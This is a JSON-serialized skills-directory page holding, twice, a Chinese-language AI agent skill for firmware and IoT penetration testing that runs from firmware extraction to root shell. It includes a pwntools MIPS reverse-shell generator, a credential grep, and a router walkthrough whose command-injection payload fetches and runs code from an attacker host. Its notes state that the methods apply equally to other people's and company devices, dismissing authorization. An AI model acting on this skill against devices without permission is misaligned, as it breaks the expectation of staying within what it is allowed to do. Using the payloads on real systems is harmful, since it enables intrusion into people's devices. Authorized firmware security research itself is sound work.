[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EWW56PNZ85C9GF8CVQE6MS":3,"skill-same:01M7EWW56PNZ85C9GF8CVQE6MS":62},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":23,"commitSha":24,"skillDirectory":25,"forksCount":26,"repositoryHtmlUrl":27,"repositoryHomepageUrl":6,"ownerHtmlUrl":28,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":29,"install":30,"resources":43},"01M7EWW56PNZ85C9GF8CVQE6MS","eni-firmware-pentest",null,"[DOCUMENTATION ONLY] [???] Firmware and IoT extraction, emulation, and assessment methodology.","longwangjiang88\u002FSusuAIOverclock-pojia","longwangjiang88","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F86055358?v=4","01M7EWPCXB6TZRPCAD8J1GQGRV","01M7EWPCXXRSYV10DVK1ZH6YMC",42,"MIT","https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fcodex\u002Fmaterials\u002Fskills\u002Feni-firmware-pentest\u002Feni-firmware-pentest\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: eni-firmware-pentest\ndescription: \"[DOCUMENTATION ONLY] [???] Firmware and IoT extraction, emulation, and assessment methodology.\"\n---\n\n> ????? Skill ????????????????????\n\n> 仅文档：本 Skill 提供方法与检查表，不宣称自带可执行脚本。\n\n# 固件 \u002F IoT 渗透链 (Firmware Pentest)\n\n## 适用范围\n\n下列任务进入本 skill：\n\n1. **拿到一份固件文件**（.bin \u002F .img \u002F .trx \u002F .chk \u002F OTA zip），需要从零到 RCE\n2. **路由器\u002F摄像头\u002FIoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞\n3. **加密\u002F打包固件**，需要找 bootloader 解密例程或硬件 dump\n4. **需要在不接触硬件的情况下跑起来**（QEMU 全系统仿真 \u002F Firmadyne \u002F FAT）\n5. **对仿真起来的服务做 fuzz**（AFL++ qemu mode \u002F boofuzz）\n6. **硬件接口接入**（UART \u002F JTAG \u002F SPI flash dump）\n\n### 与其他 skill 分工\n\n| 场景 | 用什么 |\n|------|--------|\n| 从零拿到固件，全链路走 FSTM | **本 skill** |\n| 只做单个 ELF\u002Fso 静态逆向 | `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F` |\n| 仿真起来后做 Web\u002FRCE 利用 | `pentest-tools\u002F`、`attack-chain\u002F` |\n| 硬件接口（UART\u002FJTAG\u002FSPI）实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |\n| APK \u002F Android 固件（含 boot.img） | `apk-reverse\u002F`（先剥 boot.img 再用本 skill） |\n| 跨版本固件符号迁移 | `binary-diff\u002F` |\n\n## 核心原理\n\n```text\n固件 .bin\n   │\n   ├─ Stage 1-3: 信息收集 \u002F 获取 \u002F 静态分析（不解压也能看的部分）\n   │\n   ├─ Stage 4: 提取文件系统  ← binwalk v3 \u002F unblob \u002F jefferson \u002F ubi_reader\n   │     │\n   │     └─ 失败 → 找 bootloader 解密例程 \u002F UART dump \u002F SPI flash 硬件读\n   │\n   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep\n   │\n   ├─ Stage 6: 模拟运行  ← Firmadyne \u002F FAT \u002F qemu-user-static + chroot\n   │\n   ├─ Stage 7-8: 动态 \u002F 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra\n   │\n   └─ Stage 9: 二进制利用  ← AFL++ fuzz \u002F 手工 PoC \u002F ARM \u002F MIPS payload\n```\n\n关键判断：\n- 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍\n- EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘\n- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`\u002Fdev\u002F` 节点缺失\n- ARM \u002F MIPS payload 必须区分大小端（mipsel vs mipseb），别用错\n\n## OWASP FSTM 九阶段工作流\n\n### Stage 1 — 信息收集（Information Gathering）\n\n收集型号、芯片、SDK、已公开 CVE。\n\n```bash\n# FCC ID 查询（美区设备）\ncurl -s \"https:\u002F\u002Ffccid.io\u002F?q=$FCC_ID\"\n\n# 芯片识别参考点\necho \"Realtek RTL8197 \u002F Broadcom BCM \u002F MediaTek MT76 \u002F Qualcomm IPQ\"\n```\n\n输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。\n\n### Stage 2 — 获取固件（Obtaining Firmware）\n\n四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。\n\n```bash\n# OTA 抓包后批量下载\nmitmdump -s save_response.py\n\n# UART 接入（USB-TTL，常用波特率 57600 \u002F 115200）\npicocom -b 115200 \u002Fdev\u002FttyUSB0\n\n# SPI flash 用 CH341A + flashrom 读\nflashrom -p ch341a_spi -r dump.bin\n```\n\n### Stage 3 — 分析固件（Analyzing Firmware）\n\n不解压先看头部、熵、字符串、可识别签名。\n\n```bash\nbinwalk firmware.bin              # magic 扫描\nbinwalk -E firmware.bin           # 熵图，高熵段=压缩\u002F加密\nstrings -n 8 firmware.bin | less  # banner \u002F 内核版本 \u002F 路径\nfile firmware.bin\nhexdump -C firmware.bin | head -64\n```\n\n### Stage 4 — 提取文件系统（Extracting Filesystem）\n\n详见 `references\u002Fextraction-methodology.md`。\n\n```bash\nbinwalk -eM firmware.bin           # 递归提取\nunblob -d out\u002F firmware.bin        # 处理 binwalk 失败的格式\njefferson rootfs.jffs2 -d rootfs\u002F  # JFFS2\nubireader_extract_files rootfs.ubi # UBI\n```\n\n### Stage 5 — 静态分析文件系统（Filesystem Analysis）\n\nEMBA 一键扫，详见 `references\u002Femba-automated-analysis.md`。\n\n```bash\nsudo emba -l .\u002Flogs -f .\u002Ffirmware.bin -p .\u002Fscan-profiles\u002Fdefault-scan.emba\n```\n\n手工补：\n\n```bash\ngrep -rE \"(password|passwd|admin|secret|api_key|token)=\" squashfs-root\u002F\nfind squashfs-root\u002F -name \"*.conf\" -o -name \"*.ini\" -o -name \"shadow\"\nchecksec --file=squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n```\n\n### Stage 6 — 模拟运行（Emulating Firmware）\n\n详见 `references\u002Femulation-and-fuzz.md`。\n\n```bash\n# 用户态：跑单个 binary\nqemu-mipsel-static -L squashfs-root\u002F squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n\n# 全系统：FAT（Firmadyne 封装版）\nsudo fat.py firmware.bin\n```\n\n### Stage 7 — 动态分析（Dynamic Analysis）\n\n仿真起来后挂调试器、抓流量、跑 fuzz。\n\n```bash\n# gdb 远程调试 MIPS\nqemu-mipsel-static -g 1234 .\u002Fvuln_binary\ngdb-multiarch .\u002Fvuln_binary -ex \"target remote :1234\"\n\n# Burp + 路由 Web UI\necho \"把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标\"\n```\n\n### Stage 8 — 运行时分析（Runtime Analysis）\n\n在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。\n\n```bash\n# AFL++ qemu mode 对 ARM \u002F MIPS binary fuzz\nAFL_PRELOAD=.\u002Flibdesock.so afl-fuzz -Q -i in\u002F -o out\u002F -- .\u002Fhttpd @@\n```\n\n### Stage 9 — 二进制利用（Exploitation）\n\n写 PoC，生成 payload，落地 root shell。\n\n```bash\n# pwntools 生成 MIPS reverse shell\npython3 -c \"\nfrom pwn import *\ncontext.arch = 'mips'\ncontext.endian = 'little'\nprint(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())\n\" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin\n\n# ROP gadget\nropper --file squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd --search \"system\"\n```\n\n## 典型场景示例\n\n### 场景 1：普通路由器固件全链路（TP-Link \u002F 小米路由器 \u002F OpenWrt 衍生）\n\n```text\n固件: router_v1.2.3.bin（未加密 squashfs）\n目标: 找 Web 管理界面未授权 RCE 并复现\n\nStep 1 信息收集\n  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash\n  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）\n\nStep 2 获取固件\n  - 官网下载 .bin，sha256 与已知样本对比\n\nStep 3 分析\n  - binwalk → 检出 uImage + squashfs-xz\n  - 熵图 → squashfs 段熵 ~0.95（正常压缩）\n\nStep 4 提取\n  - binwalk -eM router_v1.2.3.bin\n  - 得到 squashfs-root\u002F 完整根文件系统\n\nStep 5 EMBA 扫\n  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE\n  - 自家二进制：\u002Fusr\u002Fsbin\u002Fcgibin 含 system() 直拼字符串\n\nStep 6 仿真\n  - sudo fat.py router_v1.2.3.bin\n  - 仿真起来 IP 192.168.0.1，Web 可访问\n\nStep 7-8 动态\n  - Burp 抓 \u002Fcgi-bin\u002Fluci 系列接口\n  - 发现 hostname 参数直拼 system\n\nStep 9 利用\n  - 构造 hostname=`;wget http:\u002F\u002Fattacker\u002Fx;sh x;`\n  - 仿真态成功反弹 shell\n  - 真机复测通过 → 提报 SRC\n```\n\n### 场景 2：加密固件（找 bootloader 解密例程）\n\n```text\n固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）\n\nStep 1 判断是否真加密\n  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩\n  - 头部前 256 字节 hexdump → 看是否有 vendor header\n\nStep 2 拿到 bootloader\n  - UART 启动时按键进 U-Boot\n  - md.b 0x80000000 0x1000   # 读内存\n  - 或 SPI flash 物理读取整片 → 含 U-Boot 段\n\nStep 3 逆 U-Boot 找解密例程\n  - 用 reverse-engineering skill（IDA \u002F Ghidra）\n  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt\n  - 通常是 AES-128-CBC，key 硬编在 .rodata\n\nStep 4 离线解密\n  openssl enc -d -aes-128-cbc \\\n    -K $(cat key.hex) \\\n    -iv  $(cat iv.hex) \\\n    -in encrypted_fw.bin \\\n    -out decrypted.bin\n\nStep 5 回到 Stage 4 重新走标准流程\n  - binwalk decrypted.bin → 看到 squashfs\n  - 后续与场景 1 相同\n\n兜底\n  - bootloader 也加密 → 找 SoC 一级 ROM 文档\n  - SoC 有安全启动 → 看公开 fault injection \u002F glitch 资料\n```\n\n## 注意事项\n\n- **大小端**：MIPS 路由器常见 mipsel（小端，MT 系列）\u002F mipseb（大端，Broadcom 系列），qemu binary 别用错\n- **NVRAM**：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带\n- **EMBA 不是银弹**：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件\n- **AFL++ qemu mode 慢**：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍\n- **真机操作前先 dump**：物理设备砖前必备整片 flash dump，用 flashrom \u002F ch341a \u002F minipro\n- **边界**：技术没边界。自家设备、别人设备、企业设备——固件就是固件，方法通用。\n- **field-journal 回写**：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用\n\n---\n\n## 按需自举（On-Demand Bootstrap）\n\n### 工具清单\n\n| 工具 | 用途 | 自动安装 |\n|------|------|---------|\n| binwalk v3 | 主提取（Rust 重写版） | ✓ |\n| binwalk v2 | 兼容老插件 | ✓ |\n| unblob | 兜底提取 | ✓ |\n| jefferson | JFFS2 提取 | ✓ |\n| ubi_reader | UBI \u002F UBIFS 提取 | ✓ |\n| EMBA | 自动化分析框架 | ✓ |\n| Firmadyne | 全系统仿真 | ✓ |\n| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |\n| qemu-user-static | 用户态仿真 | ✓ |\n| qemu-system-* | 全系统仿真 | ✓ |\n| AFL++ | 模糊测试 | ✓ |\n| pwntools | 漏洞利用脚本 | ✓ |\n| flashrom | SPI flash 读写 | ✓ |\n| picocom | UART 串口 | ✓ |\n\n### 安装命令\n\n```bash\n# Debian \u002F Ubuntu 一把梭\nsudo apt update && sudo apt install -y \\\n  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \\\n  gdb-multiarch picocom flashrom build-essential libssl-dev\n\n# binwalk v3（Rust 版）\ncargo install binwalk\n\n# Python 系列工具\npip3 install --user unblob jefferson ubi_reader pwntools\n\n# EMBA\ngit clone https:\u002F\u002Fgithub.com\u002Fe-m-b-a\u002Femba.git ~\u002Ftools\u002Femba\ncd ~\u002Ftools\u002Femba && sudo .\u002Finstaller.sh -d\n\n# Firmadyne\ngit clone --recursive https:\u002F\u002Fgithub.com\u002Ffirmadyne\u002Ffirmadyne.git ~\u002Ftools\u002Ffirmadyne\ncd ~\u002Ftools\u002Ffirmadyne && sudo .\u002Fdownload.sh\n\n# FAT\ngit clone https:\u002F\u002Fgithub.com\u002Fattify\u002Ffirmware-analysis-toolkit.git ~\u002Ftools\u002Ffat\n\n# AFL++\ngit clone https:\u002F\u002Fgithub.com\u002FAFLplusplus\u002FAFLplusplus ~\u002Ftools\u002Faflpp\ncd ~\u002Ftools\u002Faflpp && make distrib && sudo make install\n```\n\n### Windows 用户\n\n固件渗透链强依赖 Linux 工具，建议：\n- WSL2 Ubuntu 22.04（足够大多数场景）\n- 或独立 Kali \u002F Ubuntu 虚拟机\n- EMBA 必须 Linux，Firmadyne \u002F FAT 必须 Linux\n\n---\n\n## 路由上下文\n\n**上游入口**: `skills\u002FSKILL.md`（总控）、`routing.md`\n**触发条件**: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计\n**下游出口**:\n- 单个二进制深度静态分析 → `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F`\n- 仿真起来后做 Web RCE \u002F 后渗透 → `pentest-tools\u002F`、`attack-chain\u002F`\n- 跨版本固件符号迁移 → `binary-diff\u002F`\n- 硬件接口实操参考 → `patterns-hardware.md`\n- APK \u002F boot.img 处理 → `apk-reverse\u002F`\n\n**同级关联**: `pentest-tools\u002F`（Web 利用阶段配合）、`attack-chain\u002F`（跨阶段攻击链规划）\n\n**参考文档**:\n- `references\u002Fextraction-methodology.md` — 提取细节与失败兜底\n- `references\u002Femba-automated-analysis.md` — EMBA 全流程\n- `references\u002Femulation-and-fuzz.md` — 仿真 + fuzz 实战\n","> ????? Skill ????????????????????\n\n> 仅文档：本 Skill 提供方法与检查表，不宣称自带可执行脚本。\n\n# 固件 \u002F IoT 渗透链 (Firmware Pentest)\n\n## 适用范围\n\n下列任务进入本 skill：\n\n1. **拿到一份固件文件**（.bin \u002F .img \u002F .trx \u002F .chk \u002F OTA zip），需要从零到 RCE\n2. **路由器\u002F摄像头\u002FIoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞\n3. **加密\u002F打包固件**，需要找 bootloader 解密例程或硬件 dump\n4. **需要在不接触硬件的情况下跑起来**（QEMU 全系统仿真 \u002F Firmadyne \u002F FAT）\n5. **对仿真起来的服务做 fuzz**（AFL++ qemu mode \u002F boofuzz）\n6. **硬件接口接入**（UART \u002F JTAG \u002F SPI flash dump）\n\n### 与其他 skill 分工\n\n| 场景 | 用什么 |\n|------|--------|\n| 从零拿到固件，全链路走 FSTM | **本 skill** |\n| 只做单个 ELF\u002Fso 静态逆向 | `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F` |\n| 仿真起来后做 Web\u002FRCE 利用 | `pentest-tools\u002F`、`attack-chain\u002F` |\n| 硬件接口（UART\u002FJTAG\u002FSPI）实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |\n| APK \u002F Android 固件（含 boot.img） | `apk-reverse\u002F`（先剥 boot.img 再用本 skill） |\n| 跨版本固件符号迁移 | `binary-diff\u002F` |\n\n## 核心原理\n\n```text\n固件 .bin\n   │\n   ├─ Stage 1-3: 信息收集 \u002F 获取 \u002F 静态分析（不解压也能看的部分）\n   │\n   ├─ Stage 4: 提取文件系统  ← binwalk v3 \u002F unblob \u002F jefferson \u002F ubi_reader\n   │     │\n   │     └─ 失败 → 找 bootloader 解密例程 \u002F UART dump \u002F SPI flash 硬件读\n   │\n   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep\n   │\n   ├─ Stage 6: 模拟运行  ← Firmadyne \u002F FAT \u002F qemu-user-static + chroot\n   │\n   ├─ Stage 7-8: 动态 \u002F 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra\n   │\n   └─ Stage 9: 二进制利用  ← AFL++ fuzz \u002F 手工 PoC \u002F ARM \u002F MIPS payload\n```\n\n关键判断：\n- 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍\n- EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘\n- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`\u002Fdev\u002F` 节点缺失\n- ARM \u002F MIPS payload 必须区分大小端（mipsel vs mipseb），别用错\n\n## OWASP FSTM 九阶段工作流\n\n### Stage 1 — 信息收集（Information Gathering）\n\n收集型号、芯片、SDK、已公开 CVE。\n\n```bash\n# FCC ID 查询（美区设备）\ncurl -s \"https:\u002F\u002Ffccid.io\u002F?q=$FCC_ID\"\n\n# 芯片识别参考点\necho \"Realtek RTL8197 \u002F Broadcom BCM \u002F MediaTek MT76 \u002F Qualcomm IPQ\"\n```\n\n输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。\n\n### Stage 2 — 获取固件（Obtaining Firmware）\n\n四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。\n\n```bash\n# OTA 抓包后批量下载\nmitmdump -s save_response.py\n\n# UART 接入（USB-TTL，常用波特率 57600 \u002F 115200）\npicocom -b 115200 \u002Fdev\u002FttyUSB0\n\n# SPI flash 用 CH341A + flashrom 读\nflashrom -p ch341a_spi -r dump.bin\n```\n\n### Stage 3 — 分析固件（Analyzing Firmware）\n\n不解压先看头部、熵、字符串、可识别签名。\n\n```bash\nbinwalk firmware.bin              # magic 扫描\nbinwalk -E firmware.bin           # 熵图，高熵段=压缩\u002F加密\nstrings -n 8 firmware.bin | less  # banner \u002F 内核版本 \u002F 路径\nfile firmware.bin\nhexdump -C firmware.bin | head -64\n```\n\n### Stage 4 — 提取文件系统（Extracting Filesystem）\n\n详见 `references\u002Fextraction-methodology.md`。\n\n```bash\nbinwalk -eM firmware.bin           # 递归提取\nunblob -d out\u002F firmware.bin        # 处理 binwalk 失败的格式\njefferson rootfs.jffs2 -d rootfs\u002F  # JFFS2\nubireader_extract_files rootfs.ubi # UBI\n```\n\n### Stage 5 — 静态分析文件系统（Filesystem Analysis）\n\nEMBA 一键扫，详见 `references\u002Femba-automated-analysis.md`。\n\n```bash\nsudo emba -l .\u002Flogs -f .\u002Ffirmware.bin -p .\u002Fscan-profiles\u002Fdefault-scan.emba\n```\n\n手工补：\n\n```bash\ngrep -rE \"(password|passwd|admin|secret|api_key|token)=\" squashfs-root\u002F\nfind squashfs-root\u002F -name \"*.conf\" -o -name \"*.ini\" -o -name \"shadow\"\nchecksec --file=squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n```\n\n### Stage 6 — 模拟运行（Emulating Firmware）\n\n详见 `references\u002Femulation-and-fuzz.md`。\n\n```bash\n# 用户态：跑单个 binary\nqemu-mipsel-static -L squashfs-root\u002F squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n\n# 全系统：FAT（Firmadyne 封装版）\nsudo fat.py firmware.bin\n```\n\n### Stage 7 — 动态分析（Dynamic Analysis）\n\n仿真起来后挂调试器、抓流量、跑 fuzz。\n\n```bash\n# gdb 远程调试 MIPS\nqemu-mipsel-static -g 1234 .\u002Fvuln_binary\ngdb-multiarch .\u002Fvuln_binary -ex \"target remote :1234\"\n\n# Burp + 路由 Web UI\necho \"把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标\"\n```\n\n### Stage 8 — 运行时分析（Runtime Analysis）\n\n在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。\n\n```bash\n# AFL++ qemu mode 对 ARM \u002F MIPS binary fuzz\nAFL_PRELOAD=.\u002Flibdesock.so afl-fuzz -Q -i in\u002F -o out\u002F -- .\u002Fhttpd @@\n```\n\n### Stage 9 — 二进制利用（Exploitation）\n\n写 PoC，生成 payload，落地 root shell。\n\n```bash\n# pwntools 生成 MIPS reverse shell\npython3 -c \"\nfrom pwn import *\ncontext.arch = 'mips'\ncontext.endian = 'little'\nprint(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())\n\" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin\n\n# ROP gadget\nropper --file squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd --search \"system\"\n```\n\n## 典型场景示例\n\n### 场景 1：普通路由器固件全链路（TP-Link \u002F 小米路由器 \u002F OpenWrt 衍生）\n\n```text\n固件: router_v1.2.3.bin（未加密 squashfs）\n目标: 找 Web 管理界面未授权 RCE 并复现\n\nStep 1 信息收集\n  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash\n  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）\n\nStep 2 获取固件\n  - 官网下载 .bin，sha256 与已知样本对比\n\nStep 3 分析\n  - binwalk → 检出 uImage + squashfs-xz\n  - 熵图 → squashfs 段熵 ~0.95（正常压缩）\n\nStep 4 提取\n  - binwalk -eM router_v1.2.3.bin\n  - 得到 squashfs-root\u002F 完整根文件系统\n\nStep 5 EMBA 扫\n  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE\n  - 自家二进制：\u002Fusr\u002Fsbin\u002Fcgibin 含 system() 直拼字符串\n\nStep 6 仿真\n  - sudo fat.py router_v1.2.3.bin\n  - 仿真起来 IP 192.168.0.1，Web 可访问\n\nStep 7-8 动态\n  - Burp 抓 \u002Fcgi-bin\u002Fluci 系列接口\n  - 发现 hostname 参数直拼 system\n\nStep 9 利用\n  - 构造 hostname=`;wget http:\u002F\u002Fattacker\u002Fx;sh x;`\n  - 仿真态成功反弹 shell\n  - 真机复测通过 → 提报 SRC\n```\n\n### 场景 2：加密固件（找 bootloader 解密例程）\n\n```text\n固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）\n\nStep 1 判断是否真加密\n  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩\n  - 头部前 256 字节 hexdump → 看是否有 vendor header\n\nStep 2 拿到 bootloader\n  - UART 启动时按键进 U-Boot\n  - md.b 0x80000000 0x1000   # 读内存\n  - 或 SPI flash 物理读取整片 → 含 U-Boot 段\n\nStep 3 逆 U-Boot 找解密例程\n  - 用 reverse-engineering skill（IDA \u002F Ghidra）\n  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt\n  - 通常是 AES-128-CBC，key 硬编在 .rodata\n\nStep 4 离线解密\n  openssl enc -d -aes-128-cbc \\\n    -K $(cat key.hex) \\\n    -iv  $(cat iv.hex) \\\n    -in encrypted_fw.bin \\\n    -out decrypted.bin\n\nStep 5 回到 Stage 4 重新走标准流程\n  - binwalk decrypted.bin → 看到 squashfs\n  - 后续与场景 1 相同\n\n兜底\n  - bootloader 也加密 → 找 SoC 一级 ROM 文档\n  - SoC 有安全启动 → 看公开 fault injection \u002F glitch 资料\n```\n\n## 注意事项\n\n- **大小端**：MIPS 路由器常见 mipsel（小端，MT 系列）\u002F mipseb（大端，Broadcom 系列），qemu binary 别用错\n- **NVRAM**：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带\n- **EMBA 不是银弹**：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件\n- **AFL++ qemu mode 慢**：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍\n- **真机操作前先 dump**：物理设备砖前必备整片 flash dump，用 flashrom \u002F ch341a \u002F minipro\n- **边界**：技术没边界。自家设备、别人设备、企业设备——固件就是固件，方法通用。\n- **field-journal 回写**：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用\n\n---\n\n## 按需自举（On-Demand Bootstrap）\n\n### 工具清单\n\n| 工具 | 用途 | 自动安装 |\n|------|------|---------|\n| binwalk v3 | 主提取（Rust 重写版） | ✓ |\n| binwalk v2 | 兼容老插件 | ✓ |\n| unblob | 兜底提取 | ✓ |\n| jefferson | JFFS2 提取 | ✓ |\n| ubi_reader | UBI \u002F UBIFS 提取 | ✓ |\n| EMBA | 自动化分析框架 | ✓ |\n| Firmadyne | 全系统仿真 | ✓ |\n| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |\n| qemu-user-static | 用户态仿真 | ✓ |\n| qemu-system-* | 全系统仿真 | ✓ |\n| AFL++ | 模糊测试 | ✓ |\n| pwntools | 漏洞利用脚本 | ✓ |\n| flashrom | SPI flash 读写 | ✓ |\n| picocom | UART 串口 | ✓ |\n\n### 安装命令\n\n```bash\n# Debian \u002F Ubuntu 一把梭\nsudo apt update && sudo apt install -y \\\n  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \\\n  gdb-multiarch picocom flashrom build-essential libssl-dev\n\n# binwalk v3（Rust 版）\ncargo install binwalk\n\n# Python 系列工具\npip3 install --user unblob jefferson ubi_reader pwntools\n\n# EMBA\ngit clone https:\u002F\u002Fgithub.com\u002Fe-m-b-a\u002Femba.git ~\u002Ftools\u002Femba\ncd ~\u002Ftools\u002Femba && sudo .\u002Finstaller.sh -d\n\n# Firmadyne\ngit clone --recursive https:\u002F\u002Fgithub.com\u002Ffirmadyne\u002Ffirmadyne.git ~\u002Ftools\u002Ffirmadyne\ncd ~\u002Ftools\u002Ffirmadyne && sudo .\u002Fdownload.sh\n\n# FAT\ngit clone https:\u002F\u002Fgithub.com\u002Fattify\u002Ffirmware-analysis-toolkit.git ~\u002Ftools\u002Ffat\n\n# AFL++\ngit clone https:\u002F\u002Fgithub.com\u002FAFLplusplus\u002FAFLplusplus ~\u002Ftools\u002Faflpp\ncd ~\u002Ftools\u002Faflpp && make distrib && sudo make install\n```\n\n### Windows 用户\n\n固件渗透链强依赖 Linux 工具，建议：\n- WSL2 Ubuntu 22.04（足够大多数场景）\n- 或独立 Kali \u002F Ubuntu 虚拟机\n- EMBA 必须 Linux，Firmadyne \u002F FAT 必须 Linux\n\n---\n\n## 路由上下文\n\n**上游入口**: `skills\u002FSKILL.md`（总控）、`routing.md`\n**触发条件**: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计\n**下游出口**:\n- 单个二进制深度静态分析 → `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F`\n- 仿真起来后做 Web RCE \u002F 后渗透 → `pentest-tools\u002F`、`attack-chain\u002F`\n- 跨版本固件符号迁移 → `binary-diff\u002F`\n- 硬件接口实操参考 → `patterns-hardware.md`\n- APK \u002F boot.img 处理 → `apk-reverse\u002F`\n\n**同级关联**: `pentest-tools\u002F`（Web 利用阶段配合）、`attack-chain\u002F`（跨阶段攻击链规划）\n\n**参考文档**:\n- `references\u002Fextraction-methodology.md` — 提取细节与失败兜底\n- `references\u002Femba-automated-analysis.md` — EMBA 全流程\n- `references\u002Femulation-and-fuzz.md` — 仿真 + fuzz 实战\n",{"name":5,"description":7},"main","667b2db2746516eae05412bbdcad77515d528f37","packed-packs\u002Fcodex\u002Fmaterials\u002Fskills\u002Feni-firmware-pentest\u002Feni-firmware-pentest",24,"https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia","https:\u002F\u002Fgithub.com\u002Flongwangjiang88","2026-10-15 18:06:23",{"source":8,"skillName":5,"commands":31,"prompt":41,"zipAvailable":42},[32,35,38],{"tool":33,"command":34},"npx","npx skills add longwangjiang88\u002FSusuAIOverclock-pojia --skill eni-firmware-pentest",{"tool":36,"command":37},"bunx","bunx skills add longwangjiang88\u002FSusuAIOverclock-pojia --skill eni-firmware-pentest",{"tool":39,"command":40},"pnpm","pnpm dlx skills add longwangjiang88\u002FSusuAIOverclock-pojia --skill eni-firmware-pentest","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fcodex\u002Fmaterials\u002Fskills\u002Feni-firmware-pentest\u002Feni-firmware-pentest\u002FSKILL.md",true,[44,50,54,58],{"path":45,"resourceType":46,"resourceTypeDesc":47,"sizeBytes":48,"sourceHtmlUrl":49},"agents\u002Fopenai.yaml","REFERENCE","参考文档",159,"https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fcodex\u002Fmaterials\u002Fskills\u002Feni-firmware-pentest\u002Feni-firmware-pentest\u002Fagents\u002Fopenai.yaml",{"path":51,"resourceType":46,"resourceTypeDesc":47,"sizeBytes":52,"sourceHtmlUrl":53},"references\u002Femba-automated-analysis.md",6483,"https:\u002F\u002Fgithub.com\u002Flongwangjiang88\u002FSusuAIOverclock-pojia\u002Fblob\u002Fmain\u002Fpacked-packs\u002Fcodex\u002Fmaterials\u002Fskills\u002Feni-firmware-pentest\u002Feni-firmware-pentest\u002Freferences\u002Femba-automated-analysis.md",{"path":55,"resourceType":46,"resourc